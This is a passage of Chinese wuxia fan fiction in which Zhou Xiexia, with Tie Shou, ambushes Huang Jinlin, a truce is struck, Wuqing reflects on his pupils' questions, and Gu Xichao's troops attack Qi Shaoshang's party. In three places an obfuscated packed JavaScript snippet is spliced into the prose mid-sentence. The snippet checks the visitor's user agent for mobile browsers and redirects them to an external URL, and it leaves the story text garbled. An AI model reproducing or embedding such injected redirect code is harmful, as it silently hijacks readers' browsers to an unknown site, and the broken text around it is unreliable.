被打断了话,刘独峰并不动怒,拦下欲替他抱不平的云大,无视顾惜朝的话语,他继续说道:“所以不出手则已,一旦动手就一定要确保有必胜的把握,不然叫祝余抓住机会,吃苦头的会是我们。” “说到这里,我也想问问黄大人和顾公子接下来有何打算,准备叫谁来对付枯梅大师?” 想到枯梅那凌厉的清风十三式,黄金麟就嘴里发苦。 谁知道息红泪居然能劝动从不下山的华山掌门人枯梅来帮助戚少商。若是尤知味高鸡血赫连小妖等息红泪的爱慕者也就罢了,他还有把握离间挑拨,毕竟替自己的情敌倾尽所有去帮忙怎么听怎么怪异。但是枯梅此人,黄金麟接触甚少,能打动枯梅的东西少之又少,至少黄金麟觉得自己拿不出来。 至于强硬威胁,黄金麟没想过。且不说枯梅大师跟太原无争山庄等势力相熟,她的根基都在山上,黄金麟即使派出大量士兵也不见得在他们爬上华山之后还剩下多少力气,更遑论铲除华山剑派了。 “这……不知刘大人可有高见?” 黄金麟不想自己去挨清风十三式,将这个问题又抛回给刘独峰。 “我来。” “此言当真?”黄金麟大吃一惊。 “自然,不过丑话说在前头,我既牵制了枯梅大师,其他人我便顾及不得了。” 黄金麟乍闻这个好消息,欣喜不已,应承地飞快,生怕刘独峰下一刻就反悔似的。 “刘大人放心,抓捕戚少商一事尽管交给下官便是!” 难题被刘独峰一肩挑了,但是问题却还没完全解决。 很快,前面探路的人回来禀报,说发现疑似戚少商等人的踪迹,但是兵分两路,拿不准戚少商究竟往哪一边去了。 这就不属于刘独峰的工作范畴了,他索性自己选了一个方向便追去,也不管黄金麟顾惜朝等人如何。 刘独峰喜洁,坐在轿上一向不沾尘土,他杀人也是,用一把剑沾了血,便离开换一把剑,他身边有七个属下,一人拿一把剑,一把剑脏了便给属下擦拭,刘独峰自己换新的。有如此洁癖在身,刘独峰忍耐这群小人也很久了,只是碍于被傅宗书下狱的好友,所以不便翻脸,但有机会分道扬镳,他自然乐意。 黄金麟和顾惜朝面面相觑,随后,二人也默契地分道而行。骆驼老爷鲜于仇和神威镖局等人跟着黄金麟走,向顾惜朝靠拢的冷呼儿、霍乱步等人与顾惜朝随行。 抛去不屑与他们靠拢的刘独峰不谈,还未看见人影的文张不提,黄金麟和顾惜朝因为立场利益等诸多因素分为两派。 黄金麟是傅宗书安排在朝廷以外的心腹,他的官位不小,主要替傅宗书监视京城以外、尤其是江湖上武林中的风吹草动,通俗来讲,可以将他视为元十三限的下位替代。 若说元十三限是蔡京的鱼,那么黄金麟就是傅宗书的鱼腥草,没有条件吃鱼,那么用鱼腥草来意思意思代替一下也不是不行。 顾惜朝在官场上并无太多作为,也无高位,他是傅宗书的义子,份属内亲。顾惜朝年纪轻轻,野心却大,有意建功立威。 戚少商只有一个人,就算能把他五马分尸,杀死他获得的功劳也不可能完全平分,就像项羽自刎乌江,瓜分了他尸身的五人给的赏赐也不一样,有无数前车之鉴,故而黄金麟在他看来便是此番与他争抢功劳的竞争对手。 无独有偶,黄金麟心中也明白顾惜朝的想法如何,不然他不会与顾惜朝达成共识,二人各走各的路,只看谁先一步找到戚少商。 不过在黄金麟找到戚少商之前,有另外两个人先一步寻到了他的踪迹,那便是周撷夏和铁手二人。 周撷夏在路上时从铁手口中得知,当初应承铁手不动手的人是黄金麟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924201|177106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是铁手一束手就擒,黄金麟手下冷呼儿和鲜于仇就折辱于他,黄金麟还得意说他只承诺了自己不动手,可没说别人不动手。 虽然铁手没有细说,但周撷夏这么些年也见惯了这群小人的伎俩,对铁手略说的地方拼拼凑凑也能还原个大概。 “你觉得他们走的这方向会碰上戚寨主他们,还是刘大人那边会碰上?” 铁手低声问完,却没有得到回应,再转身一瞧,四周哪里还有周撷夏的身影。他暗叫不好,立刻反应过来,拨开遮挡的树丛,朝黄金麟鲜于仇方向跃去。 铁手的反应很快,然而周撷夏先他一步,动作更快,如一道潜藏在树林中的幽影,又轻又快,又好似在画绢上随意勾勒两笔,恰似游鱼甩尾,灵动至极。 一阵微风吹过,黄金麟正暗叹难得的平静。他此番受傅宗书所派,是出来建功立业的,谁知功未成,却叫一毛头小子戏耍了多日。若是叫他抓住祝难救,他定要祝余为这些日子的所作所为付出代价。 这样想着,黄金麟不经意间偏了下头,撞上一双眼睛。 这一下可了不得,黄金麟所受到的惊吓与现代人在鬼屋回头时被鬼贴脸杀的感觉也差不多,甚至他感受到的惊吓更甚。 黄金麟武功高强,能悄无声息地近身于他,这样的人,这样的能耐怎不叫他又惊又惧? 若不是碰巧转了头,只怕被抹了脖子都不知道! 在黄金麟出手应对之前,周撷夏已然出招。但黄金麟到底内功更高,比年纪尚轻的周撷夏多出十几二十年的对敌经验,第一反应便是后仰的同时格挡出击。 匕首在周撷夏手中变化自如,灵巧得不可思议,在黄金麟出手的瞬间立刻做出应对,避开拳头侧面削他手腕。周撷夏手中的匕首乃是黑面蔡家特意打造的,刀刃锋利,直接割破了黄金麟手腕处的防护,伤口深可见骨。 他双手持刀,一刀去削手腕,另一只手也没有闲着,瞄准颈动脉自上而下忽得一划,黄金麟即便后仰躲闪,但在马背上他也做不出什么更大幅度的动作,只得避开最为要害的部位,即使如此,自颈部向下也留下了一道短促的血痕,冰凉的刀锋在他的皮肤上留下了难以忘怀的冷意。 一击已成,周撷夏抬脚一踹,借着黄金麟格挡的力度迅速退开,落在延伸出来的树杆上。 匕首讲究出其不意,攻其不备,一旦显露身形便已经是其动手的时刻。比起他的轻功,周撷夏内力并不深厚,所以他不出招则已,一旦出手则必中无疑。 鲜于仇也是老将,他年纪比神鸦将军冷呼儿大,武功比他高,更比他聪明,在黄金麟受袭之后他立刻反应过来,双腿一夹,坐骑随他心意上前,一拐横扫来袭者双腿关节。 骆驼老爷的动作不慢,然而手持匕首突袭黄金麟的年轻人速度更快一筹,鲜于仇不过眨眼的功夫,对方便落在了不远处的树上。 鲜于仇欲再攻,他的拐杖却被一双宽厚的手稳稳挡住了。 鲜于仇收回自己的武器,眼神中透露忌惮,不过面上仍不动声色,沉声道:“铁手,先前你已被捕,如今却逃脱在外,罪加一等,袭击朝廷命官,更是死罪,你还要继续错下去吗?” 铁手并不动怒,正欲说些什么,黄金麟却先一步开口了。 “铁手,原来如此,看到你我倒是才想起来,难怪树上那小子刚才瞧着眼熟,只怕这位就是青梅竹的胞弟吧。青梅竹为相爷效力,却死在诸葛小花手中,你为仇人效力,岂不是黑白不分,是非不明,错上加错。” “青梅竹的大名我早就听闻过,也与其打过照面,令兄在相爷府上可谓是春风得意,若不是诸葛奸滑狠辣,现在只怕早就是更上一层楼的大官了,你若是得兄长庇荫,哪里还用得着干这些刀尖舔血的累活。” 9. 打击乐 周觅青在外行走时,正是被称为青梅竹。一开始他在神侯府为诸葛正我效力,后来转投傅宗书,成为傅宗书麾下高手之一,与老不死和中间人一同行动。老中青三人听令行事,作恶多端,杀害了无数忠良之臣,其中就包括神威镖局从前的庇护伞石大人。 若是石大人还在世,神威镖局不至于像如今一样任人揉扁搓圆。高风亮也不至于为了朝廷能赏一点活路,漏一点恩赐而听文张之令杀害雷家的人。 黄金麟蓦地提起青梅竹,其用意险恶自不必多提。 一来挑拨离间铁手和周撷夏,有枣没枣打一竿,无论能不能令他们之间产生隔阂,黄金麟不过费口唾沫的功夫,横竖都不亏。 二来,高风亮及神威镖局的人如今也在他的队伍里,高风亮之前在杀戚少商与雷卷一事是推三阻四,最终不过死了雷家五虎将其三,黄金麟对他这态度很不满意,面上没说什么,实际上打算鸟尽弓藏。不过此时若是能废物利用也不错,戚少商他不想杀,雷卷不愿杀,铁手不敢杀,青梅竹的弟弟总能激起他的仇恨叫他出点力吧。 “日后烦请大人少吃点盐吧,瞧把你给闲的。” 在这道声音出现在黄金麟耳边同时,匕首的冷光已经映入黄金麟的眼中。匕首是短刀,在敌人看到刀身的时候,就意味着匕首已经刺出。 时机、速度无一不妙,更遑论这两把匕首一向削铁如泥,无往不利。它们在诞生的时候便被创造者取了名字,一把叫分秋,一把叫剪冬,与二号马甲的武器伞枕烟峦是同一个人特意花了不少心思打造出来的利器,材料、工艺、设计无一不精。 打造它们的人是黑面蔡家的杰出子弟,外号伏吟神剑手的蔡袭邪。他的剑辟邪也是由他自己亲手打造的,百邪避易,万毒不侵,见过的人都觉得这黑剑好似活的一样,会在他将剑插回剑鞘时连鞘带剑像一条蛇一般搐动,隐隐约约还会发出呻吟。 这两把匕首没有辟邪那样邪,那样诡,但绝对是上乘的利器。正是有这样的武器,周撷夏才有了欺身近战的倚仗。匕首的锋利无双加上他自己的轻灵急快,使得周撷夏的攻击无比棘手。 然而黄金麟也不是吃素的,他武功高强,得傅宗书信重,经历的战斗和面对的刺杀不知凡凡。面对即将要到来的攻击,他避开关键要害处,不怎么要紧的地方任由匕首向他的盔甲刺来,黄金麟自己空出双手,打算抓住周撷夏的胳膊将他往自己这个方向扯,他一脚踩着马镫已经立起,另一条腿绷紧,随时准备抬起直接膝击。 他自知若论速度,比不上这年轻人,但是若是说擒拿格斗和内功武力,他自持绝对占据优势。 周撷夏左手持匕首砍来,自左向右,自下而上,不到眨眼的功夫便已经出了数招。右边的匕首在他的手心转了半圈,调换了方向,尖端朝下,周撷夏右手四指握住匕首,往下一压,朝黄金麟的大腿刺去。 在空中,他的动作灵巧得不可思议,在没有任何借力的情况下,周撷夏向右侧一旋,避开黄金麟的攻击,右手用力一捅,刀锋穿过黄色的盔甲,像刺穿一张纸,毫无阻碍地扎入黄金麟的大腿,然后毫不留恋地拔出。周撷夏以腰腹为核心,在空中旋转半圈后,双脚从脖颈处夹住黄金麟的头,将他用力一拽,直接把黄金麟从马背上带了出来。 黄金麟不得不坠在地上,盔甲加上他自己的重量落地,激起一阵飞尘,黄金麟后撤了几步,这才稳住身形。周撷夏却并不落地,他向后一跃,如同在林间穿梭的飞鸟,视士兵们射出的弓箭于无物,连半点衣物也没有被擦破,轻盈地落在树枝上。红色的抹额若隐若现,恰似一尾赤羽张扬于林叶中。 正当高风亮等人以为打斗就到此为止,铁手和周撷夏可能会说些什么的时候,黄金麟忽然拔剑,剑与剑鞘发出一声清脆的低吟,然而这一声音并不是结束,而是开始。 周撷夏不知道什么时候已经来到了黄金麟面前,如果说先前高风亮觉得他有些像飞鸟,那么现在看来这少年更像是鬼魅,稍一不留神便变换了方向移动了位置,令高风亮暗暗心惊,扪心自问,如果是他对上这奇快的身法、锋利的匕首能像黄金麟一样应对自如吗? 答案是否定的。 高风亮若是能做到黄金麟这种地步,他还在黄金麟面前低三下四听他命令行事做甚?早就自去振兴他们神威镖局了。 少年手中的匕首与黄金麟的长剑不断碰撞,发出金石相碰的清脆声响。叮叮当当,叮叮当当,奏起一支轻快的曲子。 曲子断断续续响起,周围的人都能很清晰地听到,偶尔有几个抢拍听上去却也无妨大雅,更是为曲调增添了几分欢快。 这是一件很可怕的事情。因为这意味着出招的节奏完全被少年所掌握,而非被身经百战的黄金麟所把控。高风亮越听着,越看着,越觉得自己不出手是对的,庆幸自己没有因为黄金麟的话语动摇之后愤而出手。 黄金麟身在局中,感受到的危险远比木雕一般旁观的高风亮要深。 他听说过青梅竹的名声,知道他的身世来历,也同青梅竹在傅相府里打过照面。 他曾见过青梅竹杀人,风雅至极,幽幽吹着笛,随着笛声悠扬渐远,青梅竹的身影离开,那人倒了下来,一脸痛苦,早已失去呼吸多时,没了生息。 黄金麟扬声唤铁手,叫鲜于仇,可余光一瞥,铁手和鲜于仇都在专心致志地过招,谁也没听到黄金麟的声音。 这下黄金麟就知道了,他们想必跟自己一样,除了这刀剑相碰奏出来的轻快小调以外什么也听不到。 听不到风吹过树叶沙沙的声音,听不到自己撤步时靴子与地面摩擦的声音,听不到马儿嘶鸣的声音,听不到别人说话的声音,听不到,听不到,除了那听久了就觉得单调乏味的曲子以外什么也听不到。 黄金麟从没发觉过声音原来如此重要,听不到除了曲子以外的其他声音,他挥剑的力度、速度,以及移动的步伐不可避免地受到了影响,发挥出来的实力被大大削弱。 周撷夏的攻速蓦地一下加快,他的匕首耍得极好,在手中飞舞旋转,快得只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924202|177106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看见它的残影。他几乎是贴着黄金麟在近身缠斗,叫长剑施展不开,只得应对如骤雨般的攻击,在刀刃于视线中留下一道冷光的时候,就意味着这一刀已然结束,紧接着而来的将会是下一道攻击。 刀刃抵住黄金麟的长剑,长剑一滑,抵上刀柄,紧接着,周撷夏右脚点地旋转,狠狠一记侧踢击中黄金麟的腰侧,左手持匕首,一刀直接斜斜刺入了黄金麟的锁骨下方,刀刃如切豆腐一般穿过肌理,又迅速离开,血槽带出不少血,像投了一枚小石头没入池塘后溅起的水花。 与此同时,他以此为支点,收回右手不再用短刀去抵黄金麟的剑,整个身体向后仰,顺势抽出匕首,收回左手,像被风吹起来的一片叶子一样轻飘飘地落在地上。 “小夏!” 铁手叫了他一声。 鲜于仇看了一眼一旁的局势,谨慎地看了一眼脸上带有稚气的少年,匕首仍被他稳稳地拿在手里,头上的抹额像是被血浸透了一般,鲜于仇跟少年对上了眼。 只是一瞬,鲜于仇很快移开视线,重新将注意力放回铁手身上。 黄金麟用手捂着受伤的地方,血从手指缝中溢出,流过他的盔甲,留下一条条弯弯曲曲的污痕。 他可以下令让士兵围攻,黄金麟一边感受伤口传来的尖锐疼痛,一边冷静地想。铁手之前被他们弄成了重伤,现在虽然看着好端端的,但怎么说应该都还有些内伤,另一个小子速度很快,攻击很棘手,但再怎么说也还是一个少年,双拳难敌四手,那两把匕首再锋利也不可能杀完所有人。 但是黄金麟并不打算这样做。 且不说那小子的攻击方式有些麻烦,他整个人瞧着就有些邪性,在那小子没有动作的时候,他整个人的存在感近似于无,全然融入了环境中似的。过来的究竟是风,是叶,还是匕首,不亲眼去确认,黄金麟也无法给出肯定的答案。 一开始若不是跟他对上了眼,黄金麟猜测自己只怕要被捅了才能反应过来发生了什么。 而且那两把匕首也不简单。能像撕纸一样轻而易举地刺穿自己的盔甲,这样的匕首绝非寻常材料能够打造出来的。 无情也好,冷血也好,还是诸葛正我已经被派出去镇守军事重地的萧寒僧,黄金麟都没有听说他们以武器见长。 冷血的剑出名是因为那是冷血的剑,落在别人手里就是普普通通的一块铁。但这对匕首明显是特意打造的神兵利器,黄金麟猜想黑面蔡家打造的武器也莫过于此了。 黄金麟嘶了一声,道:“不如这样吧,铁二爷,周先生,我们各退一步,有话好好说,大家都是朝廷命官,没必要自相残杀。之前是我不对,对铁二爷无礼了些,我在这里赔个不是。” 铁手有些意动,他不想周撷夏无端被扣上杀害朝廷命官的罪行。 但是黄金麟究竟是什么德性,在之前的行径中也能窥出几分,反复无常的小人说出口的话不足为信,不过正因为是小人,得罪他之前也得掂量掂量,不然说不定什么时候就会面临他的报复。 10.达共识 “下官知晓二位是为了戚少商才特意来的,英雄惜英雄,这是人之常情,在所难免,只是现在我们也没有碰上戚少商,遑论与他敌对了。周先生也不必过分紧张我们会做什么,倒不如说一路上以来是我们被他们耍得团团转。” “黄大人这话怎么讲?”铁手听着疑惑。 黄金麟的笑容有些苦涩,他道:“铁二爷有所不知,祝难救祝公子不光救人有一手,下起毒来也是行家,我们这一伙人如今人数至少减少了一多半,那些人全都中了祝公子的毒,即使解了毒一时半会也难以赶路,所以只好叫他们从哪里来的回哪里去了。” “刘独峰刘大人一路上别的没做,光忙着去破解祝公子的毒了。铁二爷你说,我们这是不是被耍得团团转,什么也没得到?” 黄金麟见铁手不语,再接再厉继续说道:“我们都知道,铁二爷心善,一向以和为贵,除非迫不得已否则不伤人,左右我们现在也没什么冲突,不妨各退一步,等遇见戚少商真要分个输赢高下,届时再各凭真本事就是了,现如今动手也不过是徒增伤亡。” 铁手说:“黄大人说得不错,给彼此都留一些余地,我认为这样对大家都好。” “正是如此,正是如此,有个妥协余地,日后好相见好商量不是?”黄金麟连声应道,甚至因为下意识点头的缘故还牵扯到了伤口,叫他面孔扭曲了一下。 “好,说起来还是铁某占了便宜,既然黄大人这么说,铁某就却之不恭了。” 说着,铁手抱拳向黄金麟和鲜于仇行礼,周撷夏跟在他身后悄然离开。 待望不见他们二人的身影后,鲜于仇看向正在被人包扎伤口的黄金麟,问道:“黄大人,就这么算了吗?” “不然还能怎么样,先前我们能抓住铁手,那是铁手自己没有认真,傻乎乎地束手就擒,以为这样就能了结一切,但那小子,哼,青梅竹行事就邪性的很。也不知道诸葛小花怎么想的,明明杀了青梅竹,却仍旧留下他弟弟当差,铁手居然也信他。” “铁二捕头一向不愿轻易怀疑他人,除非那小子自己露出什么马脚,不然铁手不会不信他的。刚才不也是吗,先至的是那姓周的小子,铁手是后面赶来的,只怕是追赶着他来的才对。” 骆驼将军鲜于仇缓缓说出自己的推论,“我估计应该是那姓周的小子先一步发现了我们,记恨铁手的事情,所以出了手,不过是个年轻气盛的小子罢了。” “你口中年轻气盛的小子,差点杀了我。” 黄金麟沉声道:“或许他年纪尚轻,但是对敌手段绝不容小觑,不仅有灵活的身手和锋利的匕首,还有跟青梅竹如出一辙的旁门左道。” 要论单对单格斗,黄金麟并不怕他,但那通过音律来影响人的能力不得不防,情发于声,声成文谓之音,黄金麟也是人,也有七情六欲,自然会不可避免地偏移注意力,受到声音的影响。如果不是因为听力被干扰了,黄金麟不觉得自己会输给这个毛头小子。 “青梅竹手段诡谲,也不知道他弟弟继承了他多少能耐,不过若是一直给诸葛当差的话,不论有什么能耐都不足为虑。” “这话倒是没错。” 黄金麟承认鲜于仇的话说得对,要是他继续在诸葛麾下效力,跟着四大名捕干,诸葛小花怎么可能让他用着那些诡谲险恶的招数。而且四大名捕的行事作风他们心中都知晓,黄金麟和鲜于仇都有官职在身,回去后随便告他们一番便足以令其吃个教训,四大名捕又不会滥用权势,只要稍加运作,必然能让那毛头小子处处受制。 只是想到周撷夏一开始并未扬声示人,而是直接近身出杀招,黄金麟便觉得这小子与铁手肯定不是同路人。 铁手行事讲究君子端方,从不占人便宜,宁可自己吃点亏示弱也无妨。 但周撷夏显然并非如此行事,他似乎更像他兄长青梅竹一点。青梅竹就是个别人嘲笑他一句他就要杀人的邪性做派,不知道周撷夏究竟内里像了他几分。 想到这里,黄金麟忍不住笑了笑,其中有点幸灾乐祸的意味。 自己的失败固然令人揪心,但是别人的好戏看起来更为快乐。黄金麟也很好奇铁手他们究竟能容忍青梅竹的弟弟到什么程度,要是能让诸葛一派出什么乱子就再好不过了。 “黄将军武功高强,跟他对打,你可有受伤?” 铁手用关切的目光注视着周撷夏。 周撷夏摇了摇头,甩了甩手腕,说道:“还好,就是他的力气很大,跟他的剑对上的时候震得我手臂发麻。” “没受伤就好。” “黄将军说的那些话,你也不必太过放在心上。觅青的事情我们都不曾往外说,想来是他曾经见过觅青,所以认出来了。” 周撷夏看着他,听他说完后笑着摇摇头,道:“我知道,我没在意他的话。不过他既然提到了兄长,我便用了点兄长以前教我的招数,也叫他尝尝滋味。若是直接与他近身格斗,只怕我打不过黄金麟,只能从这些雕虫小技上下下功夫了。” “你还年轻,小夏,不必急于一时,黄将军如今正值壮年,与他有差距也是理所当然的,等日后你武功渐长,想来对付黄将军这样的对手也不会觉得吃力的。” “那便借二师兄吉言了。” 周撷夏笑起来的时候,原先一双圆圆的、透亮的眼睛弯成了月牙,小小的酒窝也随着他的笑容而出现,看上去更加年少稚气,也更天真单纯。 若是与无情剑僮中年纪最大的金剑林邀德站在一起,虽然周撷夏瞧着比林邀德更高一些,但不认识他们二人的有至少一多半会觉得林邀德比周撷夏要年长。 林邀德自己倒不这样想,周撷夏虽说看起来没有什么威慑力,可实际上心思细腻,懂得也比自己要多,而且更关键的是,他的实力得到了无情等人的认可,可以独自一人去当捕快破案。林邀德一直都很佩服周撷夏。 无情铁手等人唤周撷夏为小夏,林邀德等人便唤他小夏哥哥。依照常理,他们应该叫周师叔,不过考虑到他们年纪相近,而且直接叫小夏哥哥也更为亲近些,无情本就不是什么拘于俗礼的人,便由他们去了。 在无情的四个剑僮中,林邀德是他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935459|177106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的虎头,也是其中唯一一个在日常生活中既勤奋好学,又能静心养性,还博览群书的孩子,无情一向很疼惜他,对他也有问必答。 然而在这一次无情杀了周笑笑与惠千紫,完全了此行的目的后,金剑林邀德提出了自己的疑问,却久久没有得到无情的回复。 “也不知道小夏哥哥去哪里了。”银剑说。 无情从自己的思绪中抽离,开口道:“小夏……说的也是,之前周笑笑找来的帮手叫我们不得已分开了,现在周笑笑已死,我们找个地方休息片刻,随后去寻小夏吧。” “至于金剑刚才问的那个问题,我现在也很难给你们解答。说的多了,我其实没有什么正确答案,怕误导你们,可说的少了,又怕你们陷入迷惑。” “周笑笑作恶多端,擅长抽后腿,经常出卖别人,可他能够将自己的后背交付给自己的师妹惠千紫,也能为了她出头,与被惠千紫杀害、削得只剩头皮的受害人好友对战,为此断了一臂。这不能说明他情有可原,也不能证明他无辜,这些事情只能说明周笑笑有情,他仍然可以称得上是一个人,可犯了罪,杀了人,就该付出代价。” 铜剑点点头,道:“他们无缘无故杀了人,逃亡一路上也随自己的心意迫害无辜之人,公子作为捕快,自然要将这些坏人缉拿归案,以慰死者在天之灵,平息他们的冤屈。” 银剑和铜剑似乎觉得自己懂了,明白无情的意思,可金剑觉得自己好像还没有懂。 他之前问无情,周笑笑和惠千紫之间有情,所以周笑笑会为了惠千紫拼尽全力,给他们的追捕造成不小的阻碍。这是他们二人都是坏人,犯了罪当杀的情况下,无情可以一视同仁,将他们一并击杀于机关暗器之下。可如果其中有一个人没有犯罪,甚至还是江湖上有名的侠义之士,那作为朝廷捕快差役,他们又当如何是好? 无情也没有给出自己的答案。 很多事情是没有答案的。无情也给不出一个可以让四剑僮参考的答案,他唯一能给出话语的便是叫他们做事无愧于心,无愧于法,无愧于公理。 不知怎的,因为这个与情有关的问题,让他不由得想起来了过去。 他想起一点堂寻梦园那个与他萧笛应和,与他说过好多好多话,透过窗子给他递吃食,一度与他并肩作战的少女。 她冒着大不讳出了手,为了无情出了手,她知道这一次出手之后便会失去蔡攸的庇护,重新面对蜀中唐门的追杀,但是她还是这么做了。 那是他执不破,却注定无法在一起的缘分。 还有那个曾经出现在一点堂墙头上像个年画娃娃一般可爱的女孩,三个发髻上都系着红色发带,无情记得,她当时坐在墙头跟屋檐下的周撷夏聊天,发带随着她的动作一晃一晃的,桃红色的短衫隐隐绰绰藏在自一点堂伸展出来的树干,像盛开的桃花一般明艳。 她是蔡攸的小妹,蔡筱,可周撷夏在跟她聊天的时候,眼睛似乎都在发亮。 那或许是周撷夏堪不破,放不下的缘分,只是究竟是正缘,还是孽缘,无情也无法为他下决断。 11.拿二血 黄金麟一行人遇上了铁手和周撷夏,不得不放慢步调花时间来养伤,然而顾惜朝和冷呼儿等人可没有这方面的顾忌。 新仇旧怨,为公为私,说是一雪前耻也好,博一个功名富贵也罢,顾惜朝都迫不及待想要抓住戚少商等人。冷呼儿自视甚高,对于处处比他强的师兄骆驼老爷鲜于仇很是不服气,这才跟着顾惜朝同路。 他们一路驾马疾驰,中途并不停歇,把马累得直喘气才肯罢休。 “根据探路之人来报,戚少商他们应当就前面。” 神鸦将军冷呼儿冷哼一声,道:“他也就这点逃跑的本事了。” 顾惜朝与冷呼儿商量几句,随即挥手,叫几队官兵先行一步,到前面去,准备包抄戚少商等人,来一个关门打狗,瓮中捉鳖。 他们骑马追赶,消耗自然要比戚少商等人少,只是顾惜朝顾忌祝难救一手神秘莫测的毒,也在意华山枯梅大师的清风十三式。 枯梅大师成名已久,可以算是江湖上的老前辈了。虽然暗骂枯梅不识抬举,可顾惜朝还是有自知之明,知道直接对上清风十三式的话他只怕不是对手。 以逸待劳,用人海战术来对付消耗这群逃犯的精力是一个不错的法子。 官兵的动静并不小,这么多人若说想要做出什么行动而瞒过一行江湖经验丰富的人也不太现实,所以顾惜朝索性一开始就没有给什么限制。 孙子兵法有云,用兵之法,十则围之,五则攻之,倍则分之,敌则能战之,少则能逃之,不若则能避之。故小敌之坚,大敌之擒也。 顾惜朝和冷呼儿原先率领的官兵虽然因为息祝余的毒而损伤了不少,可源源不断的兵力依旧可以被他们从附近城镇以平叛的名义调动,而戚少商这边实打实只有不过十人,无论是从理智分析还是感性判断,他们都只有一个选项。 息红泪神色凝重,说道:“他们追上来了,人数还不少。我们势要突围出去,不然叫这群朝廷来的人形成包围圈,只怕要被包了饺子。” 枯梅的手已放在了剑柄上,说:“等会你们跟在我身后,我来开路。” “好,那就多谢枯梅大师了。” “无妨。” 三言两语定好接下来的行动,几人速度不减,朝一处奔去,欲意以利箭之势将包围圈击穿。 剑在枯梅手中如清风,令人捉摸不定,然而杀伤力都是实打实的,枯梅出手厉辣,毫不留情,叫不少官兵瞧见都有些心惊胆战。 枯梅在前对敌,后面的人也不闲着,或者说,也没法闲着。顾惜朝和冷呼儿等人的马蹄声已至,不打一声招呼,冷呼儿的长戟便已扎来! 长戟跟长枪不太一样,结合了矛和戈的特性,不仅可以刺击,还能够横向勾砍,使得攻击方式比长枪还要更灵活多变。冷呼儿站在马背上,马儿随他心意疾驰,长戟的尖端突刺而来,发出尖锐的破空声。 面对这般强势的攻击,息祝余不好硬抗,他所擅长的无论是绳镖还是扇子都没有办法拦下冷呼儿的一击。索性扬长避短,息祝余膝盖一弯,身体后仰,向前一滑,直接躲过冷呼儿的长戟,同时袖中绳镖飞出,绕了好几个圈缠上长戟,使力将长戟往他这个方向拉扯。 长戟一歪,息红泪的剑立即跟上,双剑齐出,身法轻灵,剑招狠辣,直奔冷呼儿的致命之处。 冷呼儿一击不成,反对上息红泪的攻击,他分毫不慌,站在马背上,即使长戟被息祝余往后扯,也能在有限的角度挥舞长戟挡住息红泪的攻击,剑刃与长戟相撞,好不激烈! 息红泪一剑抵住长戟,一剑送出,剑尖闪过寒芒,还没有接触到冷呼儿,却好似已经在冷呼儿身上刺了一记,他已然感受到了那种冰冷的杀意划破喉咙的危险。 冷呼儿忽得一松手,长戟尖端朝息祝余飞去,脚下一蹬,马儿朝息红泪撞去,他自己则在半空掠起,红披风一展,恍似长了一对红翅膀一般,直飞上一株老树。 长戟被冷呼儿一下子松手,息祝余迅速后退同时手里绳索带着长戟往偏一扯,长戟稳稳地斜插入地里,息祝余手腕一抖,绳镖被他收回衣袖里。 息红泪躲闪不及,叫马头撞上,雷卷身形一闪,告一声得罪便抓上她肩膀从她身后带着息红泪向后侧方避开,沈边儿跑了过来,将马一抡,朝向他们奔来的军士投掷过去,十五六名军士被从空中扔过来的马撞了个东倒西歪,像被撞倒的十几个保龄球。 与顾惜朝对战的戚少商瞥见息红泪被雷卷带着落地,心中松了口气。 顾惜朝见状,嘴角勾起一丝笑意,他道:“大哥若是担心红颜知己,不妨过去搭把手,小弟就在等着。” “都到这个地步了,何必假惺惺故作姿态。”戚少商冷声道。 这一路上奔波逃窜,断了一臂的戚少商瞧着狼狈不堪,可他的剑仍令顾惜朝忌惮,他的眼神则比起初被顾惜朝背叛时的错愕要坚定得多,视线与剑尖一同刺向顾惜朝。 他的傲气,他的尖刻,他的自嘲,他的无措,他的痛心还有他的懊悔于这一刻悉数融入剑中。 他的剑法几乎可以用疯狂来形容,他的剑是狂的,是傲的,是不可一世的。 戚少商当然有资格狂,有资格傲,早年他受雷卷看重,受其重点栽培,成为小雷门的得力干将,后来不愿屈居于人下,戚少商出走连云寨,直接从山下打了上去,让当初的老大甘心退位让贤做了老二,叫戚少商成为了连云寨的大寨主,将连云寨发展壮大,这足以证明他的能耐。 他用人不疑疑人不用,是典型的江湖豪杰做派,这让他有了不少好兄弟,也让他被顾惜朝算计了个彻底,从名声响当当的连云寨大寨沦为了如今的丧家之犬朝廷通缉犯。然而落难才知真朋友,在接连得到雷卷、息红泪和息祝余的援助回护后,戚少商觉得哪怕拼了命自己也要报答他们雪中送炭不计前嫌的恩情。 这样的想法让他不至于就此一蹶不振,他仍是那个他,仍是九现神龙戚少商。 